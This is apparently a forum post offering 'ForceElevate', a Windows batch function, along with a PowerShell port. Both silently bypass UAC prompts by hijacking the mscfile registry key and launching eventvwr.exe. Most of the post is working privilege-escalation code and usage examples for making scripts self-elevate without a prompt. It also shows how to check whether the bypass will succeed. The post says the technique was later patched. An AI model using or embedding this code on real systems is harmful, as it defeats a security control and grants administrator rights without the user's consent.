ForceElevate
Note
This method has been patched following the Creators Update in Windows 10.
I’m not sure why I called it “ForceElevation”—it asks for elevation rather politely—so I’ve renamed the function more appropriately: “ElevateScript”. And here’s my new attempt at a ForceElevation function...
Introducing
ForceElevate! This batch function implements a simple method for invoking any command with elevated rights from a non-elevated host,
silently, bypassing UAC prompting where possible.
This was made possible by Matt Nelson’s (
enigma0x3) recent discovery of a (the first ever) file-less UAC bypass technique. For details about how this was discovered and how it works, see Enigma0x3’s blog post about the topic
here.
My new batch function can be used to create a self-elevating script, like my previous ElevateScript function, minus the UAC prompting. See examples 2 and 3 below for how you may incorporate this functionality into your own scripts using the new function.
Some caveats about ForceElevate to be noted:
- ForceElevate will not suceed if UAC is set to “Always notify” (the highest setting). The user will be presented a UAC prompt if so, for each time the function is called in the script. See example 3 for a demonstration of how to check whether ForceElevate will run successfully prior to calling it.
- As the technique involves a registry key hijacking, ForceElevate requires a very short cool down after use. In this period, another batch file using the function at the same time may fail. As such, this function is not suitable where many scripts, in need of elevated privileges, have to be run together.
- The commands run by ForceElevate will always run in a new context, rather than the invoking host.
ForceElevate
Code:
:ForceElevate Command*
:: v1.0
setlocal
set "command=%*"
if "%COMMAND:"=%"=="" exit /b 1
set "command="%%ComSpec%%" /c "start cmd.exe /c "%COMMAND%"""
set "mscfile_root_regpath=HKCU\Software\Classes\mscfile"
set "mscfile_command_regpath=%MSCFILE_ROOT_REGPATH%\shell\open\command"
set "eventvwr=%WINDIR%\System32\eventvwr.exe"
>NUL 2>&1 reg query "%MSCFILE_COMMAND_REGPATH%" && (
>&2 echo The required registry key could not be accessed
exit /b 75
) || (
>NUL reg add "%MSCFILE_COMMAND_REGPATH%" /ve /t REG_EXPAND_SZ /d "%COMMAND:"=\"%" /f
)
explorer "%EVENTVWR%"
pathping -n -p 200 -q 1 127.0.0.1 >NUL
>NUL reg delete "%MSCFILE_ROOT_REGPATH%" /f
tasklist /fi "IMAGENAME eq eventvwr.exe" /nh 2>NUL | find /i "eventvwr.exe" >NUL && (
tskill eventvwr
)
endlocal
exit /b 0
[SIZE="+1"]Example usages[/SIZE]
Example 1: Running single commands as administrator, bypassing UAC prompting when possible. Assume the script is not already running with elevated privileges.
Code:
@echo off
goto :main
:ForceElevate
[COLOR="Silver"][function definition here][/COLOR]
exit /b 0
:main
REM Run Diskpart. Window remains open due to application’s nature.
call :ForceElevate diskpart
REM Execute Icacls command. Window quickly expires.
call :ForceElevate icacls file.ex /setintegritylevel high
REM Run Tasklist command, keeping the window open.
call :ForceElevate cmd /k "tasklist"
Example 2: Re-run the current script as administrator, bypassing UAC prompting when possible.
Code:
@echo off
goto :main
:ForceElevate
[COLOR="Silver"][function definition here][/COLOR]
exit /b 0
:main
>NUL 2>&1 net sess || (
call :ForceElevate %~f0
exit
)
REM Test if script is running elevated
>NUL 2>&1 net sess && (
echo This script has administrative privileges!
) || (
echo This script does not have administrative privileges.
)
Example 3: Re-run the current script as administrator. If UAC bypass is possible, do so, else ask for elevation using ElevateScript function.
Code:
@echo off
goto :main
:ForceElevate
[COLOR="Silver"][function definition here][/COLOR]
exit /b 0
:ElevateScript
[COLOR="Silver"][function definition here][/COLOR]
goto :eof
:TestEventVwrUACBypassPossible
setlocal EnableDelayedExpansion
>NUL 2>&1 net sess || (
net user "%USERNAME%" | find "*Administrators" >NUL || (
exit /b 1
)
for /f "tokens=1,2,3" %%I in ('
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin ^| find "ConsentPromptBehaviorAdmin"
') do (
set "CPBA=%%~K"
)
echo(!CPBA:*x=!| findstr "[1234]" >NUL && (
exit /b 1
) || (
exit /b 0
)
)
endlocal
goto :eof
:main
>NUL 2>&1 net sess || call :TestEventVwrUACBypassPossible && (
call :ForceElevate %~f0
exit
) || (
call :ElevateScript
exit
)
REM Test if script is running elevated
>NUL 2>&1 net sess && (
echo This script has administrative privileges!
) || (
echo This script does not have administrative privileges.
)
All commands executed by ForceElevate will always run interactively.
Below is a PowerShell port of ForceElevate: Invoke-EventVwrUACBypass. It is an improvement over Enigma0x3’s original cmdlet,
Invoke-EventVwrBypass.
By default, all commands are run as background processes. To run a command interactively, use the
-Interactive switch.
PHP:
function Invoke-EventVwrUACBypass {
[CmdletBinding(SupportsShouldProcess=$true)]
param (
[Parameter(Mandatory=$true)]
[ValidateNotNullOrEmpty()]
[string]
$Command,
[switch]
$Interactive,
[switch]
$Force
)
$ErrorActionPreference = 'Stop'
$mscRegkey = @{
Path = 'HKCU:\Software\Classes\mscfile'
CommandPath = 'HKCU:\Software\Classes\mscfile\shell\open\command'
}
$eventvwrPath = ([Environment]::GetFolderPath('System')) + '\eventvwr.exe'
if ($Interactive) {
$Command = '"%ComSpec%" /c "start cmd.exe /c "' + $Command + '""'
}
try {
if ($Force -or ((Get-ItemProperty -Path $mscRegkey.CommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)) {
if ($PSCmdlet.ShouldProcess($mscRegkey.CommandPath, 'Create registry entry')) {
$null = New-Item $mscRegkey.CommandPath -Force | New-ItemProperty -Name '(default)' -Value $Command -PropertyType ExpandString
if (Test-Path $mscRegkey.CommandPath) {
Write-Verbose "Created registry path '$($mscRegkey.CommandPath)'"
}
}
} else {
Write-Verbose 'Registry key already exists, consider using -Force'
return
}
$eventvwr = @{HasExited = $true}
if ($PSCmdlet.ShouldProcess($eventvwrPath, 'Start process')) {
$eventvwr = Start-Process -FilePath $eventvwrPath -PassThru -ErrorAction Stop
if ($?) {
Write-Verbose 'Started eventvwr.exe'
}
}
if (!$PSBoundParameters['WhatIf']) {
$wait = 200
Write-Verbose "Waiting $wait milliseconds for payload to trigger"
Start-Sleep -Milliseconds $wait
}
}
finally {
if (Test-Path $mscRegkey.Path) {
if ($PSCmdlet.ShouldProcess($mscRegkey.Path, 'Remove registry entry')) {
Remove-Item $mscRegkey.Path -Recurse -Force
if ($?) {
Write-Verbose "Removed registry entry $($mscRegkey.Path)"
}
}
}
}
if (!($eventvwr.HasExited)) {
Stop-Process -Id $eventvwr.Id -ErrorAction SilentlyContinue
if ($?) {
Write-Verbose 'Killed running eventvwr process'
}
}
}